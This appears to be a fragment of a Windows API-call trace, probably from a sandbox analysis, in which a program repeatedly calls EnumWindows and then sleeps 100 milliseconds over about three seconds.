EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0282.265] Sleep (dwMilliseconds=0x64) [0282.267] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0282.267] Sleep (dwMilliseconds=0x64) [0282.375] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0282.376] Sleep (dwMilliseconds=0x64) [0282.377] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0282.378] Sleep (dwMilliseconds=0x64) [0282.379] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0282.380] Sleep (dwMilliseconds=0x64) [0282.381] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0282.382] Sleep (dwMilliseconds=0x64) [0282.383] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0282.384] Sleep (dwMilliseconds=0x64) [0282.385] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0282.386] Sleep (dwMilliseconds=0x64) [0282.403] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0282.404] Sleep (dwMilliseconds=0x64) [0282.448] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0282.449] Sleep (dwMilliseconds=0x64) [0282.516] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0282.517] Sleep (dwMilliseconds=0x64) [0282.519] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0282.519] Sleep (dwMilliseconds=0x64) [0282.522] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0282.523] Sleep (dwMilliseconds=0x64) [0282.524] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0282.525] Sleep (dwMilliseconds=0x64) [0282.527] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0282.528] Sleep (dwMilliseconds=0x64) [0282.529] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0282.529] Sleep (dwMilliseconds=0x64) [0282.531] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0282.531] Sleep (dwMilliseconds=0x64) [0282.534] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0282.534] Sleep (dwMilliseconds=0x64) [0282.536] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0282.537] Sleep (dwMilliseconds=0x64) [0282.539] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0282.540] Sleep (dwMilliseconds=0x64) [0282.665] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0282.666] Sleep (dwMilliseconds=0x64) [0282.676] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0282.678] Sleep (dwMilliseconds=0x64) [0282.758] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0282.759] Sleep (dwMilliseconds=0x64) [0282.789] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0282.790] Sleep (dwMilliseconds=0x64) [0282.793] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0282.794] Sleep (dwMilliseconds=0x64) [0282.796] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0282.797] Sleep (dwMilliseconds=0x64) [0282.798] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0282.799] Sleep (dwMilliseconds=0x64) [0282.800] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0282.801] Sleep (dwMilliseconds=0x64) [0282.809] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0282.810] Sleep (dwMilliseconds=0x64) [0282.817] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0282.818] Sleep (dwMilliseconds=0x64) [0282.827] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0282.828] Sleep (dwMilliseconds=0x64) [0282.983] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0282.984] Sleep (dwMilliseconds=0x64) [0282.998] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0283.000] Sleep (dwMilliseconds=0x64) [0283.007] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0283.008] Sleep (dwMilliseconds=0x64) [0283.011] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0283.012] Sleep (dwMilliseconds=0x64) [0283.014] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0283.015] Sleep (dwMilliseconds=0x64) [0283.124] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0283.125] Sleep (dwMilliseconds=0x64) [0283.127] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0283.128] Sleep (dwMilliseconds=0x64) [0283.131] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0283.132] Sleep (dwMilliseconds=0x64) [0283.133] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0283.134] Sleep (dwMilliseconds=0x64) [0283.135] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0283.136] Sleep (dwMilliseconds=0x64) [0283.137] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0283.138] Sleep (dwMilliseconds=0x64) [0283.139] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0283.140] Sleep (dwMilliseconds=0x64) [0283.143] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0283.144] Sleep (dwMilliseconds=0x64) [0283.145] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0283.146] Sleep (dwMilliseconds=0x64) [0283.147] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0283.148] Sleep (dwMilliseconds=0x64) [0283.150] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0283.151] Sleep (dwMilliseconds=0x64) [0283.152] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0283.153] Sleep (dwMilliseconds=0x64) [0283.183] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0283.184] Sleep (dwMilliseconds=0x64) [0283.260] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0283.261] Sleep (dwMilliseconds=0x64) [0283.264] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0283.264] Sleep (dwMilliseconds=0x64) [0283.266] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0283.266] Sleep (dwMilliseconds=0x64) [0283.269] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0283.269] Sleep (dwMilliseconds=0x64) [0283.271] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0283.271] Sleep (dwMilliseconds=0x64) [0283.273] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0283.273] Sleep (dwMilliseconds=0x64) [0283.275] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0283.275] Sleep (dwMilliseconds=0x64) [0283.280] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0283.281] Sleep (dwMilliseconds=0x64) [0283.283] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0283.283] Sleep (dwMilliseconds=0x64) [0283.285] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0283.285] Sleep (dwMilliseconds=0x64) [0283.287] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0283.288] Sleep (dwMilliseconds=0x64) [0283.291] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0283.291] Sleep (dwMilliseconds=0x64) [0283.451] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0283.453] Sleep (dwMilliseconds=0x64) [0283.461] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0283.462] Sleep (dwMilliseconds=0x64) [0283.470] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0283.471] Sleep (dwMilliseconds=0x64) [0283.479] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0283.480] Sleep (dwMilliseconds=0x64) [0283.488] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0283.489] Sleep (dwMilliseconds=0x64) [0283.552] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0283.553] Sleep (dwMilliseconds=0x64) [0283.600] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0283.601] Sleep (dwMilliseconds=0x64) [0283.609] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0283.610] Sleep (dwMilliseconds=0x64) [0283.611] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0283.612] Sleep (dwMilliseconds=0x64) [0283.614] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0283.614] Sleep (dwMilliseconds=0x64) [0283.618] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0283.618] Sleep (dwMilliseconds=0x64) [0283.620] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0283.620] Sleep (dwMilliseconds=0x64) [0283.622] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0283.622] Sleep (dwMilliseconds=0x64) [0283.624] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0283.624] Sleep (dwMilliseconds=0x64) [0283.626] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0283.626] Sleep (dwMilliseconds=0x64) [0283.628] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0283.628] Sleep (dwMilliseconds=0x64) [0283.631] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0283.631] Sleep (dwMilliseconds=0x64) [0283.740] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0283.741] Sleep (dwMilliseconds=0x64) [0283.742] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0283.743] Sleep (dwMilliseconds=0x64) [0283.906] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0283.907] Sleep (dwMilliseconds=0x64) [0284.059] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.061] Sleep (dwMilliseconds=0x64) [0284.062] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.063] Sleep (dwMilliseconds=0x64) [0284.064] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.065] Sleep (dwMilliseconds=0x64) [0284.066] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.067] Sleep (dwMilliseconds=0x64) [0284.069] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.070] Sleep (dwMilliseconds=0x64) [0284.077] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.078] Sleep (dwMilliseconds=0x64) [0284.079] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.080] Sleep (dwMilliseconds=0x64) [0284.081] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.082] Sleep (dwMilliseconds=0x64) [0284.083] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.084] Sleep (dwMilliseconds=0x64) [0284.085] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.086] Sleep (dwMilliseconds=0x64) [0284.087] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.088] Sleep (dwMilliseconds=0x64) [0284.089] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.090] Sleep (dwMilliseconds=0x64) [0284.091] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.092] Sleep (dwMilliseconds=0x64) [0284.093] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.094] Sleep (dwMilliseconds=0x64) [0284.095] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.096] Sleep (dwMilliseconds=0x64) [0284.098] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.099] Sleep (dwMilliseconds=0x64) [0284.100] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.101] Sleep (dwMilliseconds=0x64) [0284.102] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.103] Sleep (dwMilliseconds=0x64) [0284.104] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.105] Sleep (dwMilliseconds=0x64) [0284.106] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.107] Sleep (dwMilliseconds=0x64) [0284.108] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.109] Sleep (dwMilliseconds=0x64) [0284.110] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.111] Sleep (dwMilliseconds=0x64) [0284.112] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.113] Sleep (dwMilliseconds=0x64) [0284.114] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.115] Sleep (dwMilliseconds=0x64) [0284.116] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.117] Sleep (dwMilliseconds=0x64) [0284.118] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.119] Sleep (dwMilliseconds=0x64) [0284.120] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.121] Sleep (dwMilliseconds=0x64) [0284.123] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.123] Sleep (dwMilliseconds=0x64) [0284.125] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.126] Sleep (dwMilliseconds=0x64) [0284.127] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.128] Sleep (dwMilliseconds=0x64) [0284.129] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.130] Sleep (dwMilliseconds=0x64) [0284.131] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.132] Sleep (dwMilliseconds=0x64) [0284.133] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.134] Sleep (dwMilliseconds=0x64) [0284.135] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.136] Sleep (dwMilliseconds=0x64) [0284.137] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.138] Sleep (dwMilliseconds=0x64) [0284.139] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.140] Sleep (dwMilliseconds=0x64) [0284.141] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.142] Sleep (dwMilliseconds=0x64) [0284.143] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.144] Sleep (dwMilliseconds=0x64) [0284.145] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.146] Sleep (dwMilliseconds=0x64) [0284.147] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.148] Sleep (dwMilliseconds=0x64) [0284.150] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.151] Sleep (dwMilliseconds=0x64) [0284.152] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.152] Sleep (dwMilliseconds=0x64) [0284.154] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.155] Sleep (dwMilliseconds=0x64) [0284.157] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.158] Sleep (dwMilliseconds=0x64) [0284.160] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.160] Sleep (dwMilliseconds=0x64) [0284.162] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.162] Sleep (dwMilliseconds=0x64) [0284.165] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.165] Sleep (dwMilliseconds=0x64) [0284.168] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.168] Sleep (dwMilliseconds=0x64) [0284.171] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.171] Sleep (dwMilliseconds=0x64) [0284.174] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.174] Sleep (dwMilliseconds=0x64) [0284.176] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.177] Sleep (dwMilliseconds=0x64) [0284.178] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.178] Sleep (dwMilliseconds=0x64) [0284.181] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.181] Sleep (dwMilliseconds=0x64) [0284.184] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.184] Sleep (dwMilliseconds=0x64) [0284.187] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.187] Sleep (dwMilliseconds=0x64) [0284.190] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.190] Sleep (dwMilliseconds=0x64) [0284.192] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.192] Sleep (dwMilliseconds=0x64) [0284.194] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.194] Sleep (dwMilliseconds=0x64) [0284.196] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.196] Sleep (dwMilliseconds=0x64) [0284.198] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.198] Sleep (dwMilliseconds=0x64) [0284.200] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.200] Sleep (dwMilliseconds=0x64) [0284.202] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.202] Sleep (dwMilliseconds=0x64) [0284.204] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.204] Sleep (dwMilliseconds=0x64) [0284.207] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.208] Sleep (dwMilliseconds=0x64) [0284.209] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.209] Sleep (dwMilliseconds=0x64) [0284.211] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.211] Sleep (dwMilliseconds=0x64) [0284.213] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.213] Sleep (dwMilliseconds=0x64) [0284.215] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.215] Sleep (dwMilliseconds=0x64) [0284.217] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.217] Sleep (dwMilliseconds=0x64) [0284.219] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.219] Sleep (dwMilliseconds=0x64) [0284.221] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.221] Sleep (dwMilliseconds=0x64) [0284.224] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.224] Sleep (dwMilliseconds=0x64) [0284.226] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.227] Sleep (dwMilliseconds=0x64) [0284.228] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.229] Sleep (dwMilliseconds=0x64) [0284.231] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.231] Sleep (dwMilliseconds=0x64) [0284.233] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.233] Sleep (dwMilliseconds=0x64) [0284.359] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.360] Sleep (dwMilliseconds=0x64) [0284.362] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.363] Sleep (dwMilliseconds=0x64) [0284.364] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.365] Sleep (dwMilliseconds=0x64) [0284.369] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.370] Sleep (dwMilliseconds=0x64) [0284.371] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.372] Sleep (dwMilliseconds=0x64) [0284.373] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.374] Sleep (dwMilliseconds=0x64) [0284.375] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.376] Sleep (dwMilliseconds=0x64) [0284.378] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.378] Sleep (dwMilliseconds=0x64) [0284.380] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.380] Sleep (dwMilliseconds=0x64) [0284.382] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.382] Sleep (dwMilliseconds=0x64) [0284.384] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.384] Sleep (dwMilliseconds=0x64) [0284.490] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.491] Sleep (dwMilliseconds=0x64) [0284.499] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.499] Sleep (dwMilliseconds=0x64) [0284.506] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.507] Sleep (dwMilliseconds=0x64) [0284.514] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.515] Sleep (dwMilliseconds=0x64) [0284.523] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.524] Sleep (dwMilliseconds=0x64) [0284.538] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.539] Sleep (dwMilliseconds=0x64) [0284.679] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.681] Sleep (dwMilliseconds=0x64) [0284.693] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.694] Sleep (dwMilliseconds=0x64) [0284.696] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.697] Sleep (dwMilliseconds=0x64) [0284.699] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.700] Sleep (dwMilliseconds=0x64) [0284.701] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.702] Sleep (dwMilliseconds=0x64) [0284.704] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.704] Sleep (dwMilliseconds=0x64) [0284.706] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.706] Sleep (dwMilliseconds=0x64) [0284.708] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.708] Sleep (dwMilliseconds=0x64) [0284.817] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.818] Sleep (dwMilliseconds=0x64) [0284.820] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.820] Sleep (dwMilliseconds=0x64) [0284.822] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.823] Sleep (dwMilliseconds=0x64) [0284.834] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.835] Sleep (dwMilliseconds=0x64) [0284.837] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.837] Sleep (dwMilliseconds=0x64) [0284.839] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.839] Sleep (dwMilliseconds=0x64) [0284.841] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.842] Sleep (dwMilliseconds=0x64) [0284.843] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.844] Sleep (dwMilliseconds=0x64) [0284.846] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.847] Sleep (dwMilliseconds=0x64) [0284.850] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.850] Sleep (dwMilliseconds=0x64) [0284.852] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.853] Sleep (dwMilliseconds=0x64) [0284.855] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.856] Sleep (dwMilliseconds=0x64) [0284.857] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.858] Sleep (dwMilliseconds=0x64) [0284.859] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.859] Sleep (dwMilliseconds=0x64) [0284.862] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.862] Sleep (dwMilliseconds=0x64) [0284.865] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.865] Sleep (dwMilliseconds=0x64) [0284.867] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.867] Sleep (dwMilliseconds=0x64) [0284.870] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.870] Sleep (dwMilliseconds=0x64) [0284.872] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.872] Sleep (dwMilliseconds=0x64) [0284.874] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.875] Sleep (dwMilliseconds=0x64) [0284.876] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.877] Sleep (dwMilliseconds=0x64) [0284.878] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.879] Sleep (dwMilliseconds=0x64) [0284.881] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.881] Sleep (dwMilliseconds=0x64) [0284.883] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.884] Sleep (dwMilliseconds=0x64) [0284.885] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.886] Sleep (dwMilliseconds=0x64) [0284.888] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.888] Sleep (dwMilliseconds=0x64) [0284.890] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.890] Sleep (dwMilliseconds=0x64) [0284.892] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.892] Sleep (dwMilliseconds=0x64) [0284.894] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.895] Sleep (dwMilliseconds=0x64) [0284.897] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.897] Sleep (dwMilliseconds=0x64) [0284.899] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.900] Sleep (dwMilliseconds=0x64) [0284.901] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.902] Sleep (dwMilliseconds=0x64) [0284.903] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.904] Sleep (dwMilliseconds=0x64) [0284.906] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.906] Sleep (dwMilliseconds=0x64) [0284.908] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.908] Sleep (dwMilliseconds=0x64) [0284.909] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.910] Sleep (dwMilliseconds=0x64) [0284.912] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.912] Sleep (dwMilliseconds=0x64) [0284.914] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.914] Sleep (dwMilliseconds=0x64) [0284.916] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.917] Sleep (dwMilliseconds=0x64) [0284.919] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.919] Sleep (dwMilliseconds=0x64) [0284.921] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.921] Sleep (dwMilliseconds=0x64) [0284.923] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.923] Sleep (dwMilliseconds=0x64) [0284.925] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.925] Sleep (dwMilliseconds=0x64) [0284.927] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.928] Sleep (dwMilliseconds=0x64) [0284.929] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.930] Sleep (dwMilliseconds=0x64) [0284.931] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.931] Sleep (dwMilliseconds=0x64) [0284.933] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.933] Sleep (dwMilliseconds=0x64) [0284.962] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.963] Sleep (dwMilliseconds=0x64) [0284.965] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.966] Sleep (dwMilliseconds=0x64) [0284.967] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.968] Sleep (dwMilliseconds=0x64) [0284.969] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.970] Sleep (dwMilliseconds=0x64) [0284.971] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.972] Sleep (dwMilliseconds=0x64) [0284.973] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.974] Sleep (dwMilliseconds=0x64) [0284.977] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.977] Sleep (dwMilliseconds=0x64) [0284.979] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.980] Sleep (dwMilliseconds=0x64) [0284.982] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0284.983] Sleep (dwMilliseconds=0x64) [0284.985] 